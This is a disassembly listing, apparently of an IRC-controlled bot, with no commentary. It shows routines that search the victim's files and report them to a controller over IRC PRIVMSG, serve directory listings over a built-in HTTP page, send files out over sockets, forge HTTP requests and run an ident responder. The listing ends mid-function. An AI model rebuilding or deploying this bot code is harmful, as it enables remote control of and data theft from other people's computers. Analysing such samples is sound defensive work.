loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi

loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C88 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------

loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx

loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA7C
		jmp	loc_410364
; ---------------------------------------------------------------------------

loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2720000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2740B25h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2670000h

loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C54
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E924[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E934[ecx], eax
		jz	short loc_410336

loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_410324
; ---------------------------------------------------------------------------

loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA7C
		nop
		call	near ptr 269096Bh
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C1C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h

loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A084 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------

loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------

loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h

loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515

loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509

loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34

loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 2770000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh

loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 27505CAh
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2750000h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"

loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch

loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------

loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------

loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------

loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------

loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------

loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429ACC
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------

loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------

loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi

loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h

loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		nop
		call	near ptr 2680F3Dh

loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2760000h
		test	eax, eax
		jnz	loc_410590

loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------

loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------

loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h

loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA34
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2720000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		nop
		call	near ptr 2740B25h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2

loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]

loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 270116Ch
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB978
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax

loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36

loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		nop
		call	near ptr 2670000h

loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7

loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh

loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1

loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB954
		push	6
		push	1
		push	2
		call	dword_4CBA64
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9E4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB98

loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA34
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC
		pop	esi

loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA7C
		call	dword_4CB93C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------

loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB9E4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBA64
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E92C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA10
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CBA0C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h

loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435174
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------

loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88

loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB978
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435130
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h

loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBA7C
		push	dword ptr [ebp-4]
		call	dword_4CBA7C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx

loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB9E4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CBA64
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E92C[ecx], eax
		call	dword_4CB8F4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA10
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CBA0C
		test	eax, eax
		jnz	loc_410F17

loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA78
